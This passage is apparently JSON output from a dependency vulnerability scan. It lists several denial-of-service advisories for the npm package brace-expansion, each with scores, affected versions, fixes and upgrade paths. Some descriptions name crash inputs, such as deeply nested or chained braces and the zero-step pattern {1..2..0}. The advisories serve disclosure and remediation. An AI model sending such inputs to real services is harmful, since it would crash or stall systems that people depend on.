"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
